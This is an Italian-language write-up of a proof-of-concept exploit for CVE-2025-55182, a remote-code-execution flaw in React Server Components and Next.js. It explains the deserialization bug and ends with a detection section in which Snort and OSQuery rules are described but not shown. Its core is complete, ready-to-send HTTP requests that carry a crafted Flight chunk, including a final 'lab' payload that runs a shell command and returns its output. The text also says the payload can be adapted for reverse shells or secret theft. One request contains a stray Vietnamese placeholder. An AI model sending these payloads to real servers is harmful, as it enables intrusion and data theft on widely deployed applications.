
Exploit proof-of-concept che dimostra l'esecuzione remota di codice tramite deserializzazione non sicura nel protocollo React Flight (CVE-2025-55182). Include regole di rilevamento Snort e OSQuery.
React Server Components sono una funzionalità introdotta in React 19 che consente di eseguire il rendering dei componenti sul server anziché nel browser lato client. Il server può gestire attività di calcolo complesse inviando al client solo il risultato già renderizzato.
La comunicazione tra server e client in RSC si basa sul protocollo React Flight. Questo protocollo gestisce la serializzazione e la deserializzazione dei dati trasmessi tra server e client. Quando un client deve chiamare una funzione lato server (Server Action), invia una richiesta con un formato speciale contenente dati serializzati che il server deserializza ed elabora.
Il protocollo Flight utilizza un formato di serializzazione specifico con marcatori di tipo. Es.:
È proprio in questo meccanismo di serializzazione che risiede la vulnerabilità. Il server elabora questi riferimenti senza verificare adeguatamente che le proprietà richieste siano effettivamente esportazioni valide del modulo previsto.
CVE-2025-55182 è essenzialmente una vulnerabilità di deserializzazione non sicura nel modo in cui RSC gestisce i payload in ingresso del protocollo Flight. La vulnerabilità risiede nella funzione requireModule del pacchetto react-server-dom-webpack.
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... additional logic ...
return moduleExports[metadata[2]]; // VULNERABLE LINE
}
L'errore critico risiede nell'accesso tramite notazione a parentesi quadre: moduleExports[metadata[2]]
In JavaScript, quando si accede a una proprietà con la notazione a parentesi quadre, il motore JavaScript non controlla solo le proprietà dell'oggetto stesso, ma percorre l'intera catena dei prototipi. Ciò significa che un attaccante può fare riferimento a proprietà che non sono esportate esplicitamente dal modulo.
Soprattutto, ogni funzione in JavaScript ha una proprietà constructor che punta al costruttore Function. Accedendo a someFunction.constructor, l'attaccante ottiene un riferimento al costruttore globale Function, un oggetto in grado di eseguire codice JavaScript arbitrario quando viene chiamato con un argomento di tipo stringa.
La vulnerabilità diventa sfruttabile perché il protocollo Flight di React consente al client di specificare questi percorsi di proprietà tramite la sintassi dei riferimenti separati da due punti. Un attaccante può creare un riferimento come $1:constructor:constructor, che esegue il seguente percorso di accesso:
.constructor (ottenendo il costruttore Function).constructor (è ancora il costruttore Function, ma conferma la catena di accesso)La PoC inizia inviando una richiesta multipart form composta da tre campi. Il primo campo contiene un oggetto Chunk fittizio creato appositamente:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
Questo oggetto replica la struttura interna della classe chunk di React. Impostando then in modo che punti a Chunk.prototype.then, crea una struttura auto-referenziale. Quando React elabora questo Chunk e ne attende il completamento (await), il metodo then viene chiamato con il Chunk fittizio come contesto this.
Il componente critico successivo è il riferimento $B1337. Nel protocollo Flight di React, il prefisso $B indica un riferimento a un Blob. Quando React elabora un riferimento Blob, chiama una funzione che usa: response._formData.get(response._prefix + id)
Qui, l'oggetto _response è stato iniettato con proprietà dannose. Quando il gestore Blob esegue: response._formData.get(response._prefix + id)
Di fatto esegue: Function("process.mainModule.require('child_process').execSync('xcalc');1337")
Il motivo è che _formData.get è impostato su $1:constructor:constructor, un riferimento che viene risolto nel costruttore Function. Il valore _prefix contiene il codice dannoso. Una volta combinati, il costruttore Function viene chiamato con la stringa di codice dannoso come argomento, creando ed eseguendo una funzione che contiene codice JS arbitrario.
Il payload process.mainModule.require('child_process').execSync('xcalc') illustra le capacità di questo sfruttamento. Il payload:
process.mainModule (il modulo principale in esecuzione)require per caricare il modulo child_processexecSync per eseguire un comando del sistema operativoxcalc) per dimostrare che lo sfruttamento è riuscitoQuesto payload può essere modificato per stabilire una reverse shell, estrarre variabili d'ambiente contenenti informazioni segrete, leggere file sensibili o eseguire qualsiasi operazione consentita al processo Node.js.
Ecco una richiesta completa nella PoC di maple3142:
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: [Độ_dài_thực_tế_của_body]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
L'header Next-Action: x attiva il meccanismo di gestione delle Server Action di React. Il corpo è composto da 3 parti:
_response dannosa.$@0 punta nuovamente al campo 0, creando una struttura auto-referenziale.Quando il server elabora questa richiesta, deserializza il campo 0, incontra il riferimento $@0 nel campo 1, imposta la proprietà then auto-referenziale, quindi attiva il gestore Blob, che esegue il codice tramite il costruttore Function.
CVE-2025-55182 colpisce React Server Components nelle seguenti versioni:
Questa vulnerabilità è pericolosa perché:
create-next-app può essere sfruttata senza modificare il codice.Secondo Shodan, ci sono oltre 571.000 server pubblici che utilizzano componenti React e 444.000 server che utilizzano Next.js. Anche se non tutti eseguono versioni vulnerabili, la superficie d'attacco potenziale è enorme.
Una richiesta d'attacco deve necessariamente presentare la combinazione dei seguenti elementi molto specifici:
Next-Action e il formato dei dati è multipart/form-data.Come funziona: questa regola Snort blocca/segnala il traffico di rete diretto al server (to_server) che presenta tutti i segnali anomali indicati nella sezione 2 (Headers + PCRE che controlla la stringa del payload dannoso).
Scopo: rilevare e bloccare il tentativo di sfruttamento mentre avviene sulla rete.
Come funziona: esegue una scansione periodica sul server o nella pipeline di build del software (CI/CD) per individuare i pacchetti di librerie Node.js (npm_packages) vulnerabili.
Pacchetti presi di mira: react-server-dom-parcel, react-server-dom-turbopack e react-server-dom-webpack
Versioni vulnerabili scansionate: 19.0.0, dalla 19.1.0 alla 19.1.2 esclusa, e 19.2.0.
Scopo: individuare proattivamente le applicazioni a rischio prima che raggiungano l'ambiente di produzione
Payload per il lab:
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--